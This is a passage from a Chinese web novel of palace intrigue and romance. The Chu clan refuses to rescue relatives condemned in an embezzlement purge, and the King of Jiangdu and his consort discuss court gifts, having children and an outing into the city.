刑狱司收到勾决的奏本,上面还有大王批复夸奖他们的话,万分欢喜。这次的差事他们竭力办得漂亮,大王也的确对他们这次的办事效率很满意,这就是功绩, 按照以往的惯例, 冬至又近在眼前, 届时刑狱司上下都能得到奖赏,一些人甚至还能得到拔擢。 “这一阵总算要忙完了。”刑狱司的一把手身边的佐官乐道, “判决大王已勾复,那些人总算不会再来烦我们了。” 所谓的“那些人”则是这段时间明里暗里想要贿赂刑狱司办案官员为涉案之人减罪或者免罪的人, 被拒绝之后,某些人恼羞成怒甚至隐隐透出了威胁之意, 问他不怕得罪其后的势力么?至于这种人, 一把手是一点好脸色都欠奉。开什么玩笑, 怕得罪人还干什么刑狱。且不说查办违逆纲纪国法之徒本就是刑狱司的职责所在,如今这局势,明眼人还看不出来么? 褚氏要不行了,他家自大王就封江都以来一直明里暗里地与大王作对,谁不知道褚氏打的是什么主意,大王岂能容得他们一直蹦跶下去。褚氏要为了隔壁的定安王在江都掣肘阻碍大王,简直是异想天开,往上椒房与东宫皆在,那三位还能坐视大王被欺负不成?这江都到底是大王的封国, 君上臣下,褚氏再硬气还能硬气得过大王。 一把手看得分明,只要褚氏舍不下江都的祖业,大王收拾褚氏不过是时间问题。这次的贪墨事件搅进去的可大多都是与褚氏有粘连之人,经此之后,褚氏不说是被连根拔起,但也绝对是元气大伤了,日后只有夹着尾巴做人的份。 “有这闲工夫,还不如好好想想如何为那些亲朋故交操办身后事,好好送他们一程。”这一把手前段时间可是被那些人烦透了,这会儿嘴巴跟淬了毒似的,“他们之中的大部分也算运气好,今年的秋天已经过去了,还能见到下一次叶落。” 可不是算运气好么。这些被处置的人之中除了个别情节实在恶劣的被判了斩立决,其余要处死的皆是被判了秋后处斩,可不就是要等到下一年的秋后了么,差不多又能苟活一年了。运气再好些的,若是能在这一年之中等来大赦,都不用死了,多多少少也能捡回一条命来。 一把手看了看手中经勾复发回的奏本,心中有些话没有对着佐官说出来。他们这位大王已经算是仁慈的了,甚少动用酷刑不说,还给了那些人一个痛快的死法。他们干刑狱的最怕遇到的就是办事不按章法来的主上,因为遇上了有时候就不得不为主上的“奇思妙想”而去违背自己一直以来遵奉的理念。 大王有仁主明君之相,他们为人臣子的就没有过多的顾虑,只需奉公尽忠就足够了。 “说起来傅提刑的运道还当真是好,先有范国相赏识举荐于大王,后被选入大王巡边的队伍之中,如今又立下如此大功,此事一了怕是又要升官了。”佐官语气无不羡慕道。 “他有才华才能得到范国相慧眼识珠。”一把手看的开,但也不乏感慨,“不过年轻人还真是厉害啊。这才调入刑狱司都不足一年便又要高升了,指不定什么时候就追上我了。” 这话佐官就不敢接了。 但他心中也是认可这话的,经此事傅殷是彻底入了大王的眼,将来必受重用。不过二十岁出头的年纪,只是一般的平民出身,就坐到了如此高位,想想他那个年纪在干什么,真有种活到了狗身上的感觉。这傅殷俨然已经是江都官场之内一颗冉冉升起的新星,趁着他还在刑狱司时与他打好关系,于将来总是有百利而无一害的。 大概是想赶在冬至之前迅速完结手头的这些贪墨案,刑狱司极为快速地对外宣告了结果并进行了执行。这些动作对于江都郡城之内的绝大多数寻常百姓来说并没有什么大的影响,只是临近冬至天愈发冷了,给懒洋洋躲在家里猫冬的人们提供了一些茶余饭后的谈资,但对于这些案子里被处置的人以及他们的亲朋故友等来说,差不多就是天塌了。 这些人大多数是与褚氏有粘连之人,褚氏本族族人、姻亲故旧在这次的风波里陷进去可不老少,有的被撸掉官职终身不得入仕,有的则是去职抄没家产,更惨一点的还要流放,但这些都还算好的了,起码命是抱住了。最严重的那些直接被判杀头抄家,快的话不日就要执行了,慢的话也只能活到明年的秋后了。 着急上火的一大堆,几乎是全部跑到褚之彦这里来哭求了,褚之彦也不能不见他们,会客的厅堂里充斥着他们的哭求之语,是一个哭得比一个惨,各种姿态的都有,哭得最大声的数褚氏中一个辈分颇高的族老,他是褚之彦的嫡亲叔叔,此刻哭的那叫一个老泪纵横、泪如雨下。他的年纪看着实在是很大了,头发花白,垂垂老矣,哭得太过伤心以至于快要喘不上气来,旁人都要担心他撅过去,忙让他坐着,安抚他的情绪。 “可怜我那儿子,将将二十岁,还未来得及听妻子腹中孩儿叫一声爹爹就要奔赴黄泉了,从此天人两隔。我老朽也要白发人送黑发人,何其痛哉!” 老头悲痛万分,狠捶两下胸口,拂开旁边欲搀扶之人的手,住着拐杖颤颤巍巍地走到褚之彦面前,一把抓住了褚之彦伸过来搀扶的手,眼中满含希冀与哀求,“彦侄儿,我独此一子,怎忍心看他年纪轻轻便丧命。请你出手捞他一把,只求保住性命即可。” 在座的都是褚氏内部的自己人,对彼此的情况也能算是知根知底。就比如这个老头,他是褚之彦之父一母同胞的小叔叔,这些年一直是褚之彦父子的坚定支持者。他能力中庸了些,但以他的身份,没有给褚之彦捣乱就已经是帮忙了,因此很多时候他但凡有所请,褚之彦也不会驳了他。 这位叔父年少风流,妻妾成群,外室也养了不老少,但一直无子,好不容易年过四十得一子,自然是千宠万宠,捧在手心里怕化了,要星星不给月亮的。这样万般宠溺下来养出来的也是一个纨绔不成器的,前年好不容易给捐官入仕了,看着似乎安分了一些,但却没有想到他私底下胆子如此之大,不仅贪墨公款,还弄出了不少腌臜事来。 这次的风波里这位老来子也卷进去了,因为他官职低,贪墨、收受贿赂的金银不算特别多,凭这些判不了死罪,真正让他被判斩立决的是他欺男霸女、打死良民,手上沾了三条人命。偏偏事情做都做下了,却又做得不干净,如今被人翻出来作为治罪的依据。他们此刻也很能理解这叔父此刻的心情,毕竟这膝下唯此一子,死了可不就是绝后了。 而如今在这个厅堂里,家里即将要死人又何止叔父这一家。悲伤在这一刻拥有超强的感染力,这些遭遇了同一件悲伤凄惨之事的人皆眼眶发红地盯着褚之彦在看。唯今之计,他们只能寄希望于褚之彦了,都希望他能够出手救一救自家牵涉进去的人。 所有人都在看着褚之彦,场面瞬间变得寂静,更像是进入了无声的拉锯之中。他们都在等褚之彦表态,一旦他松口答应叔父的请求,那么其他人的请求他多多少少也要答应一二。褚宗铭在旁边看着这一幕,默默吞咽了一下,不敢出声。 时间在这一刻被拉长,而漫长的等待总是令人难以忍受的。所有人都在等褚之彦的动作,都如同饿狼一般盯紧了他。 “叔父,大夫说您上了年纪,身子骨弱,情绪不宜起伏太大,我叫人先送您回去歇着。”褚之彦将被紧握住的手抽出来覆在那双长了老人斑的手上,脸上微微含笑眼中却是不容置疑,随后转头吩咐周围人送叔父回去。 一瞬间,叔父眼里的光整个都灭了,他知道答案了,褚之彦不会帮他救他儿子了。他整个人瞬间变得黯淡,看着苍老了十岁不止,也失去了生气,形如木偶般失魂落魄地由着人带出去了。 一些人看着不忍,但终究没有出声。其余那些抱着同样的心态过来求褚之彦出手救命的人更是心如死灰。连自己的亲叔父的苦苦哀求都拒绝了,难道还能应了他们这些人所请么?不能了,这话没有正面回复已经等同于拒绝了。 待这些上门求救的人都被好言好语劝走之后,褚宗铭回到书房禀复,“父亲,人都送走了,没有闹出事来。” “那就好。”褚之彦背靠在椅背上,眼睛闭着,略感疲惫地捏了捏眉心。如今这个局面,他们褚氏是被架在火上,进退两难了。 随后无人说话,书房之内又陷入沉寂之中。 褚宗铭心想着方才那些人心如死灰的凄惨样,又看了眼立在书房中低眉垂眼的褚宗锒,问道:“父亲,难道就一点办法都没有了?别人便罢了,那可是叔公膝下独子,若是连他都不救,恐怕日后族中不满的声音便压不下了。” 身为掌权的主支,他们本来就有扶助族人的义务,如今来求救的不仅仅有姻亲,还有这么多年的故旧,他们一个都不帮,日后怕是少不得要担一个薄情寡义、见死不救的坏名声。这日后他们如何掌权,再发号施令还有人听从么? “救,你告诉我如何救?”褚之彦猛然睁开了眼睛,显出一种因为被人掐紧了脖颈而无能为力的暴躁愤怒来,“你能想到的事情难道我想不到?但你知道如今这背地里有多少人在盯着我们褚氏么?你前脚一有动作,信不信他们下一刻就能抓你一个现行。江都王是恨不得将我们褚氏处之而后快,此次若非褚氏壮士断腕、及时止损,折进去的岂止这些人。他百里漾正愁着无法借此事将褚氏一锤钉死,你这就要上赶着给人家送把柄么?” 褚宗铭自及冠后嫌少被褚之彦如此劈头盖脸地一顿臭骂,还是当着庶弟褚宗锒的面,又羞又恼,但却不敢反驳父亲褚之彦的话,低头认错,“是儿子思虑不周,请父亲息怒。” “罢了。”褚之彦摆摆手,胸中憋闷的怒火因为这一通发泄了不少出去,情绪平复下来。他看向习惯性一言不发的次子,问道:“二郎,你如何看待今日之事?” 褚宗锒很多时候习惯了沉默,被允许进入书房议事之后亦是保持了此前的一贯作风,基本上是别人有问到他,他才回答,这次也是如此。 褚之彦问的是“今日之事”,今日发生的不就是方才那些褚氏的姻亲故旧上门求救被拒之事么,更明确些,他问的是“救还是不救”的问题。在此之前,褚宗锒的长兄已经表态过这个问题了,他的态度是,救一些相对重要之人,不管救不救得回来,褚氏都应该有所行动,以免让那些跟随之人寒心。 而褚宗锒内心的态度是,不当救。道理就如同方才褚之彦斥骂褚宗铭的一样。这些年随着大王日渐坐稳王位、收拢权力,褚氏日渐步履维艰。褚氏与大王的立场对立,从褚氏女嫁与定安王为王妃那一刻起,褚氏与江都王注定是敌人。这次爆出来的贪墨乱纪之事损了一群姻亲故旧还在其次,褚氏真正最大的损失是失去了对永定大营的掌控,那可是褚氏在江都立足的支柱之一啊。 其余旁的这些被这次清查贪墨乱纪之事扫出来的人,只能说他们被判斩刑或抄家或流放一点都不冤。他私底下看过刑狱司的判文,那些人所犯之事一桩桩一件件都是真实存在的,并无添加删改之节,一切皆是按律裁判。在这一点上,褚宗锒对他们褚氏的敌人——江都王是敬佩的。 在褚宗锒看来,那些人就如同附在褚氏这棵大叔上的蛀虫或是正在腐朽的烂枝叶。世族百年,枝繁叶茂的同时难免生出一些算不上美好的东西,这些不美好的东西紧紧巴在大树上汲取养分,没有半点回馈,还在逐渐腐蚀其他健康的部分。尤其是如今这形势,这棵大树正在风雨飘摇之中。他对那些“蛀虫”般地存在几无好感,就比如那位叔公的独子,借着这次的事情清掉了也好,忍一时之痛,免得日后酿出更大的危机。 但他不能将自己真实的想法表露,而是低眉恭敬回答,将褚宗铭和褚之彦前后的话结合了一下,“血脉至亲,固不可袖手旁观,任其遭劫。然强敌在侧,虎视眈眈,非我等不愿,实是不能因小失大。” 总之不是褚之彦他们无情凉薄无义,而是那些人明摆着已经救不回来了,他们不能因为注定挽回不了的人拖着整个褚氏一起死。身为掌权的嫡脉主支,要更注重大局,因为他们要肩负起整个褚氏一族的兴衰重担。 对于次子的回答,褚之彦没有再说什么,而是问到了另一件事,“上一次吩咐你去办的事情办的如何了?” 他指的是之前吩咐褚宗锒去物色合适的女子加以秘密培养最后献与江都王从而达到在江都王身边安插自己人的目的之事。原先这事只是提了出来并交给了褚宗锒去办,但当时褚之彦并没有多看重此事,然而现在不行了,褚氏已经被逼到了墙角。更重要的是,透过江都王巡边却让王妃监国这事,让他看到了献美这事若是操作得当可能带来的巨大益处。 由是如此,这事便要十分上心了。 褚宗锒没有想到褚之彦会忽然关心起这件事来,略僵硬了一下,垂首回道:“儿子无能,目前仍在物色人选。” “怎动作如此之慢?”褚之彦不满,想要训斥两句,想想又算了,“此事要紧,你需得更为上心。年终之前我要看到结果,你可知晓?” “是,儿子回去后便加紧去办。” 另一边的百里漾还不知道褚氏在遭受重挫之后另辟蹊径将给他献美以图扭转局面的举措加快提上了日程,他这几日加班加点赶着将手头上的事情处理完,又宣布了一大波人事任命。 边境那边永定大营还有远宁城的军将都得换掉一批,好在大部分按照军功晋升即可,重要的是解决军功登记混乱的问题,另设监察的官员,不至于真有争议的时候只能任由熟悉军规、拿笔杆子的功曹说了算。 这样的话,问题就很大。一件重要的事情,如果决定权只在少部分人或者单一方面的人手里,事情的成败与好坏就看这些人的良心了,然而世间真正的圣人终究是极少数,事情最终必然导向极其糟糕的局面。考良心肯定是不行,必然需要行之有效的制度约束。 但也只是其中一个方面。在永定大营的时候,百里漾思考过出现为何会这个问题。想来想去,发现其中导致这个问题出现的最重要的一个原因在于绝大部分兵将都不识字,文盲率很高,这就导致他们看不懂军规,解释权在别人手里,很多时候只能别人说什么就是什么,自己连一点反驳的余地都没有。 若是要解决这个问题就得扫盲。可这个世界这个时代,在极其漫长的一段时间里知识时掌握在那些世族权贵的手里的,即便到现在也仅仅是打开了一个口子,有一点效果但不多,其中一个就是傅殷。换作二三十年前,以傅殷这样平平无奇的出身若非有天大的机遇是根本没有机会读书识字的,他的未来是注定的碌碌无为的一生,只能从事那些被视为下九流的营生,何谈后来的步入仕途- 作者有话说:更新了,希望大家多给点评论呀。 第116章 关于孩子 门阀世家垄断知识, 截断知识向下流通的渠道,以此来保证他们的优越性,从而把控官位, 以至累世公卿。这种观感在百里漾每次廷议时都会被放大,显得无比的真实。参加廷议的官员百里漾不敢说能够全都叫的出来名字,来历更不可能完全知晓,但前几排的那些身居高位者他还是认识且能够说出来他们的仕进之路是如何的。 在百里漾刚来江都的前三年,承运殿前排的这些位置上所站之人除了他从湛京带过来的几位辅佐官员一水的全是江都本地世族权贵出身的人, 要么就是与之有紧密关系同站一根绳子上的蚂蚱。说真的, 那几年他对着陛阶下的前面几排位置上毫无变动的几张动不动就反对他的老脸, 心情真的很不美妙。 真不敢想象前朝后期的那些个皇帝上朝时是一种什么感受,每次见到的都是这些要么有直接血缘关系或者间接有各种关系的人, 但凡他们要反对就是一群人出列,这个说不行, 那个也说不行,想想都令人窒息。 皇朝强盛时世族俯首称臣, 皇朝衰落世族则改投他主。故而皇朝百年而衰, 世族却可以不断地在皇朝之间占据高位从而延绵数百年之久。百里漾想高皇帝就是看到了这一点才下定决心要打击世族的。也的确是世族的运道开始走下坡路了, 碰上了前朝末年十几年的战乱,多方混战,世族因为战争而没落从而消亡的不在少数,剩下来的好不容易挨到大衍建立,又遭遇了高皇帝的铁腕打压,再不复当年之强盛了。 这样挺好的,作为新兴皇朝的子嗣,百里漾可不愿意如同前朝那样受世族的气。虽然刚来江都的几年确实没少受褚氏他们带来的气,但这气他至少不会一直受下去。就如同现在, 褚氏再敢叽歪可别怪他不客气。 想到经过数年的努力终于将褚氏杵在跟前的巨大绊脚石搬开,百里漾心情就很愉悦,甚至于哪怕是连着好几日忙个不停,他浑身也充满了干劲。他心情好,最先察觉到的就是身边人,连颜漪也说道:“大王近日心情很好啊。” 百里漾并不否认,当他从成堆的奏本、公文之中抬头就看到了自家美美的王妃歪头朝他看来,啊,真是顾盼生姿又不失俏皮可爱。 明明外面的天依旧是阴沉想要下雨的模样,可百里漾此刻却觉得长乐殿的小书房之内尽是阳光明媚、鸟语花香。好吧,以上的说辞都是心理作用导致的,但也充分证明百里漾此刻的心情实在是很好。 百里漾见手头上的批文写的差不多了,他搁下笔,几步挪到颜漪身边挨着她坐下,也不说话就看着她处理手中的事务。 这段时日颜漪搬到长乐殿来住了。看着往日只自己居住的长乐殿添置了颜漪的物品,一点一点地沾染上颜漪的气息,百里漾心里有一种无比的满足感。 而颜漪身为王妃,整座王宫的一应内务都要由她处理,以往都是在永延殿处理的,如今搬来长乐殿了,百里漾就令人在小书房里收拾了一块地方出来给颜漪布置办公的地方。小书房地方就这么大,给颜漪布置的处理事务的桌案就在百里漾的右前方,真就是挪两步的距离。 每回他们俩一起处理事务时,虽然很多时候是各忙各的,并不怎么说话,可那种有人陪着你的感觉是不一样的,内心会充满无比满足的幸福感。哪怕是偶尔累了抬头看一看对方,浑身的疲倦仿佛也能一扫而空了。 “大王的政务处理完了?”颜漪对于黏人的百里漾很是无奈,有种身边多了一个大号孩子的感觉,但是这种感觉她不讨厌就是了。 “唔,还差一点。”百里漾有些慵懒地回应着,一边捉了王妃衣饰上的一片衣带来玩。 他最近很喜欢做这些小动作,明明并没有什么好玩的,可他就是乐此不疲。他玩着玩着就被王妃那满头如瀑的青丝给吸引了,因为王妃的发质真是好,他这一世很少见如此漂亮的秀发。他很想捉来把玩,但白日里的王妃妆容俱成,他要是动了就是搞破坏了。 没办法,百里漾只好歇了这个心思。 顾自玩了衣带一会儿,见颜漪依旧专注于手头上的事务,百里漾凑头过去看了一眼,“是冬至赐宴的名单,还有贺冬的献礼啊。” 所谓的冬至赐宴是惯例了。冬至是一年之中极其重要的日子,当日百里漾身为江都王不仅要去祭祀宗庙,随后还要赐宴臣子,王妃则是要赐宴外命妇即臣子的女眷。赐宴人员的名单要提前拟好,什么人来什么人不来也是有讲究的。不过这不是什么大问题,江都的官员虽然也多,但有资格参加冬至宴的人数也就那么些,往年都有惯例,甚至名单都有记档,叫人找出来结合最近的事情酌删改就是。 最重要的还是贺冬献礼。既为献,那便是以下敬上。百里漾身为诸侯王,逢年过节是需要向帝后、东宫献上贺冬礼的,如今便不能马虎轻视了。 “大致就按照这单子上的来即可。”百里漾认可了颜漪所拟的这份礼单,又凝眉沉思片刻,从颜漪手中接过笔,在上面添上了几样东西,“这样就好了。” 颜漪看了下百里漾新添上去的物品,算起来并不是什么特别稀奇珍贵的东西,只能说是百里漾了解帝后、东宫以及栎阳长公主的喜好选择敬献上去的。 百里漾见她目光停留在那上面久了些就解释道:“比起这些,阿爹阿娘他们其实更在意的是其中代表的心意。” 就富裕程度来说的话,富有到据有天下的帝后与国之储副的太子必然是要比他一个地方诸侯王富裕的,他们也不缺百里漾送来的这点东西。但不缺是一回事,百里漾却不能不送。这是他作为儿子、作为弟弟甚至是作为应有的心意、应尽的责任。 他看着颜漪认真的眉眼,忽然说道:“这些贺冬礼送上去阿爹阿娘他们虽然也会高兴,但可能也会有些失望。” 失望?有所期待落空之后才会有失望。颜漪不解,帝后有什么是期望从百里漾这里得到却实现不了的? 看着颜漪投来询问的目光,百里漾忽然有些说不出口那个答案,嘴唇翕动了两下,终是没有说出声。颜漪觉得很奇怪,她看着百里漾忽然发红的耳后以及开始飘忽的眼神,突然间福至心灵想明白了答案是什么——孩子。对于如今的百里漾,帝后最期待欢喜的莫过于他们从江都报来喜讯,来年诞下子嗣,好让帝后能够抱上孙子。 颜漪也有些羞涩了。但她与百里漾已经是夫妻了,感情也很好,考虑到他们背后所牵扯到的人和事,他们确实是需要生孩子的。不管是对于她还是对于百里漾而言,拥有孩子对于他们而言都是必要且有益处的。 其实更进一步说是椒房与东宫需要他们尽快生下孩子。太子身子孱弱,成婚多年膝下仅有一女是人尽皆知的事情,无论是帝后还是支持椒房一脉承继大统的人都已经不指望太子能够再生出孩子来了,唯有将目光转向百里漾。对于这一点,临行出发来江都之前,颜漪的母亲曹氏也耳提面命过,嘱咐她尽快生下孩子。 可抵达江都之后,因为百里漾忙着处理防范离渊以及整顿军备这一连串的事情,她初来乍到亦要尽可能快地熟悉并上手那些属于王妃的事务,两个人都很忙,百里漾去边境的那两个多月更是见不着面,如今冬至近在眼前又继续各自忙碌着,让颜漪有些淡忘了这件事情。 不过,百里漾现在既然提出来了,她便顺势问道:“大王、很着急要孩子么?” “这种事情想着急也着急不来吧。”百里漾下意识地回了一句。他的耳后还是一片红色,但已经没有之前的羞涩了。这个时代加上如今的局势,他确实是需要有孩子的。与颜漪成婚之后,他偶尔也会畅享一下日后他们若是有了孩子会是怎么样的。 百里漾的日常生活里其实接触不到太多的小孩子,但也不是没有见到过,逢年过节的赐宴臣子会带家眷进宫赴宴,一些特别得百里漾信重的臣子如范国相会带自己的孙女到跟前说些话,他也会给出一些有趣的小玩意。 他与颜漪将来的孩子会是什么样的?百里漾想象不出来,不过那一定是世间最美好的孩子。他和颜漪相貌都很优越,生出来的孩子一定是世间最漂亮最可爱的。 百里漾怕颜漪有心理负担,赶紧说道:“我不着急,你、也不用着急。孩子是上天赐予给我们的礼物,缘分到了自然就会有的。”他在说到“上天赐予的礼物”时,浑身似乎都被一层柔和灿烂的光笼罩着,像是在说着这世界上最美好的事情。 他说的顺其自然也是真的。这个时代受生产力以及技术所限,避孕手段等同于没有。百里漾婚后曾经问过太医有没有有效的避yun手段,倒是说了一些,但也就是没什么用,甚至使用起来可能还有点让人有点接受不能。他最后选择放弃。当然百里漾也不是想要避yun,只是一些必要的知识还是有必要了解一下的。 当时百里漾询问避yun太医不知道脑补了什么,极力劝说他,弄得他有点尴尬,连忙点头应了将话题转到别的地方去了- 作者有话说:更新啦,求评论。[垂耳兔头] 第117章 出宫游玩 期间也不知道太医怎么想的, 又告诉他生孩子这事不可操之过急,说他与王妃的身子都是极为康健的,只需放平心态, 保持心情愉悦,一切事情便可以水到渠成。相反,若是过于急切,情绪上的焦虑很容易影响身体状态,越急越是求而不得。后面那位太医甚至还万般热情地给他分享了一些生子小秘方(动作版的), 他很想婉拒, 偏偏被扯着袖子, 不收不让走。最后百里漾只好木着一张脸收下了。 后面回想起来,百里漾完全有理由怀疑那太医当时是带着任务来找他分享生子秘方(动作版)的, 而发布任务的对象其实也不难猜,无非就是帝后其中一个或者都有授意。看来他们抱孙的愿望是真的很急切, 虽然在湛京时,帝后都没有明确表现出来, 但偶有的谈话也有提及, 无疑都是希望他和颜漪赶紧给他们俩造一个孙儿出来的。 百里漾知道他们尽快生孩子对于所有人都好, 但也担心颜漪因此承受了巨大的心理压力。不管怎么说,那种事情怎么着都是顺其自然最好。既然注定是要生孩子,私心里他希望他与颜漪的孩子不是在催促中诞生的,更希望孩子是爱意与缘分使然的一个惊喜。 当百里漾将自己的这些想法告诉颜漪之后,颜漪忽的定定地看着他,正当他想询问怎么了时,眼前人突然倾身投入了他的怀中,腰身被一双柔软的手臂环住,接着他听到了倾吐在他耳边的声音, “我何其有幸成为大王的妻子。” 温香暖玉在怀,百里漾伸手抱住王妃,不知道她怎么发出这样的感慨,但这明显是在夸他诶,相当于王妃欢喜庆幸于嫁给他。那一刻百里漾的心别提多美了,眸光变得无比的柔软温和,回应道:“我亦有幸娶到王妃。” 两情相悦,对于此时的百里漾来说没有比这更美好的事情了。他两世加起来唯一喜欢的人亦倾心于他,他还有什么不满足的呢。 人心情美的时候无论做事的效率就会直线上升,具体表现在百里漾又加了三天班就彻底将手上上堆积的事务处理干净了,看着瞬间空了大半的桌案上,视线也开阔了,实在是令人心旷神怡啊。 冬至前的第七日,百里漾给长乐殿、永延殿的宫侍每人皆发了一笔奖赏,用来犒劳他们这些时日因为伺候百里漾和颜漪两人忙得连轴转的辛苦。宫侍们万分欢喜,纷纷向二人谢恩。因为他们知道,这笔赏赐在冬至之前发放,以大王与王妃的慷慨,说明冬至时还有赏赐,能不让人高兴么? 王宫里如此,宫外如刑狱司等衙署这段时间查案抓人也很是辛苦,百里漾自然也不会少了他们的奖赏,不过这一份辛苦费没有提前发,而是折进冬至的赐礼里面。 清闲下来的第一日,百里漾睡了个饱觉,等人醒过来时已经日上三竿了。不过他虽然人是醒了,但却没有起,而是抱着温暖的被子问王妃去何处了。他初醒来时下意识地伸手一捞,身边却空空如也,就是这一下他立即就清醒了。 懒洋洋赖了一会儿床之后,百里漾起床洗漱穿衣,在小书房里找到了颜漪。颜漪正在作画,百里漾放轻动作靠近,没让周围的侍女出声打扰。 颜漪也没发现百里漾在身边,专注于作画,也没有发现旁边给她递颜料、工具的人是百里漾。两人就这么安安静静的直到画作完成。 颜漪搁笔时碰到了百里漾收拾笔墨的手,微微一惊,发现是百里漾时,不由莞尔,“大王何时来的?” “好看。”百里漾端来清水让颜漪净手,“来了有一会儿,正好是你画上梅花的时候。” 颜漪这次画的还是梅花,专业方面的事情百里漾看不明白,但以他的鉴赏能力是能看出颜漪的画技进步了。他美滋滋地说道:“一会儿让人把画送去装裱起来,挂在寝殿里。” 他已经想好挂在哪里了。本来是想挂在小书房里的,但是一想到范国相他们有时候会被召到这里议事必然会看见这幅画,百里漾有点不想让他们看见。他挂到长乐殿去,挂到显眼的地方,自己一个人欣赏。 当他把自己的想法说了后却被颜漪摇头拒了,“大王,这画不能给你。” 百里漾眼睛睁大,不可置信,“那要给谁,还是收着?收着多可惜啊。” “不是收着的,是之前答应了要送人的。”颜漪示意初禾过来将画收起来装好。 百里漾眼看着这幅画在他面前裱好装进礼盒里,有一种心爱之物被割走的感觉。不是,王妃要送画给谁啊?还是她亲手所作之画,这得是关系亲近之人或是看重之人才可以的吧? 是崔栋的妻子卢氏?不,应该不是。 百里漾下意识觉得不是卢氏。那会是谁?王妃才来江都多久,难道是认识了什么叫好的小姐妹了? “是姓高的一位娘子,这是补她之前开业礼物的。”颜漪看着百里漾眼巴巴的“哀怨”小眼神心生不忍,赶紧告诉他省得他猜来猜去。 “姓高的娘子?”百里漾听到这个姓第一时间想到的是高家,疑惑道,“可是高家之人?” 江都有名有姓的权贵世族之中是有一家姓高的,但这家这些年没落了,族中也没有什么很能干得用的子弟,百里漾对世族的行事很多时候是看不上的,高家更是如此,平时有事他都不太会想得起这家来。这次他清查贪污之事,高家似乎也卷进去好些人。 “正是高家,她是高家长房之女,不久前在城中开了一家首饰铺子。前段时间闲来无事,表嫂邀我出游,正巧逛到,一来二去的便认识了。”颜漪笑道,“高大娘子是一个很有趣的人。” “她是高家长房之人么?还自己在城中开了一家商铺。”百里漾有些惊奇了。 他没听说过高大娘子此人,近几个月时间他正是忙碌的时候,底下人自然也不会拿高大娘子与齐家和离这种只能算是两家儿女亲事的小事来与他说道。不过高家虽然没落了,但到底还靠之前的一些底子撑着没有彻底掉出世族的队列,故而也能在百里漾这里留个印象,但这个印象却不大好。 世族看重嫡庶之分,甚至重男轻女、用女儿给儿子铺路,此类事并不算少见。可大多数世族亦看重脸面,如高家这么不要脸的还是比较少见的。 高家长房大爷逝世后留下大笔巨额的钱财,这在江都郡城之中不算是什么秘密,但高家之后是如何对待长房留下来的孤女的。只能说,吃绝户吃到自家儿子/兄弟头上的,这吃相放在世族里也算是头一份了。 如今颜漪要送礼物的对象就是那高家长房之女,可见其在她心中是有所看重的。 百里漾问道:“王妃很欣赏这位高大娘子?” 高家这会儿怕正是焦头烂额之际,这时候偏冒出来一个高家娘子与王妃交好。百里漾倒不会觉得这高大娘子是想借此为高家周旋求情,若是如此,这样的人也不配王妃送亲手所作之画了。 那么这位高大娘子能入王妃的眼必定是有其过人之处了。算算时间,她们相识应该就是在他巡视边境不在江都的那段时间。 想到这里,百里漾不免歉疚,“之前答应过要陪你去江都各处转转,却一直食言。” 颜漪对百里漾说的食言不以为然,“大王并未忘记承诺,如今也是想着要践行诺言,怎么能算是食言呢。大王是打算这几日带我出宫转转么?” 百里漾觉得自己的王妃实在是温柔体贴、善解人意,但他也更愧疚了,总觉得自己冷落了王妃。想想王妃跟着他大老远地来到了这么一个人生地不熟的地方,自己还没空陪她熟悉环境。现下也算是有几天空闲了,正可陪王妃出去转转。 于是百里漾邀请道:“难得今日天气晴好,不知王妃可赏脸随我出宫游玩?” “固所愿也,不敢请尔。”颜漪笑着搭上了百里漾伸出的手。 今日是腊月里少有的好天气,暖黄的阳光刺破稀薄的云层洒向热闹繁荣的江都郡城。昨夜的积雪已化,各家门前的积雪被扫到角落或是正中的位置堆积,让太阳给晒化。毕竟是寒冬时节,积雪虽消融了,但地面却是湿漉漉的一层,繁华区域的地面是由砖石铺就的还好,遇上一些泥地,不小心就要被溅些泥土在衣服上。 街上人来人玩,空气里杂着各种声音,行人身穿厚实的冬衣大多显得身形臃肿,说话间吐出白色的气雾,没一下就消散了。有些怕冷的或是穿的少了,不断地搓手搓脚,尽量往阴影之外的地方站,好让阳光更多地洒落在身上,驱除寒冷。 对于这样的天气,孩童是最喜欢的了。随处可见街道的角落里,时不时刷新出几个裹得像个皮球、小脸红扑扑的孩童凑在一起嬉戏玩耍,说着稚嫩的童言童语。 百里漾和颜漪乘坐马车出王宫后车行一段路在一处路口将人放下。前面就是整个郡城最热闹繁华的区域了,行人众多,骑马的,坐轿的,熙熙攘攘,再坐马车多少有些不方便了。他们本就是出门随意走走逛逛的,加之颜漪要往飞红堂过去送礼物,步行过去是最好的选择。 两人走在前,身后有初禾等人随行,明面上有护卫保护,周围更有王宫侍卫乔装打扮隐藏在人群中随行护驾。 百里漾和颜漪换了一身寻常富贵人家的打扮,身上披着貂裘御寒,姿态颇为亲密,旁人一看便以为这是哪个富贵人家的年轻郎君带着妻子出门游玩逛街了。 “这家的糖葫芦滋味不错,他们家是夫妻经营,也算得上是老字号了。不过阿婆做的糖葫芦要酸甜适宜些,换成她丈夫做就有些甜腻了。” “这家的梅花酥味道也好,但吃多了会粘牙。” “我记着这平时会有一家做糖画的,摊主是一个阿婆,一手做糖画的功夫很是了得,客人叫画什么都能画得出来。今日怎么不见,莫不是天太冷了所以没有出摊?” 百里漾一路走一路与身边的颜漪介绍,但凡看见些什么他还留有印象的就说上一嘴,但说的很多是吃的,同时还告诉身后的初禾等人若是遇上什么喜欢的也可以买些回去,今日的花销报他账上,当是奖励她们这段时日的辛苦。 初禾等人自然是欢喜谢恩,不过也没敢太放肆跳脱,毕竟她们的主要任务是随行伺候二人,只是在两人凑近摊子时看到有什么喜欢的才叫摊主包起来。 “夫君瞧着对附近一带很是熟悉。”颜漪一路基本上都是听百里漾在说,她也不嫌他啰嗦,看得出来他是很认真地带着她熟悉江都的环境,只不过有一点稍显违和的地方是,他说的怎么大多是吃的,难免会让人有种“大王是吃货”的感觉。 “几年前那会儿我刚来江都,闲来无事便到处走走。几年前这条街不是这般模样的,地是泥地,马车过去就是一片尘土飞扬,街道也不宽,经常两辆马车就堵住了。”百里漾回忆往昔,再看眼前忽然有一种不真实的感觉。 说真的,这个世界的生产力是很落后于他前世的世界的,造成的结果就是他生活在这里哪哪都不如前世的方便,别的不说,就他从湛京来江都就封,一路都快要把他颠吐了。 等到了江都,除了王宫是新建的,其余的一切都很破旧。毕竟江都郡城在被皇帝选定为江都国王城之前只是江都郡的首府而已,与一般的郡城差别不会很大。 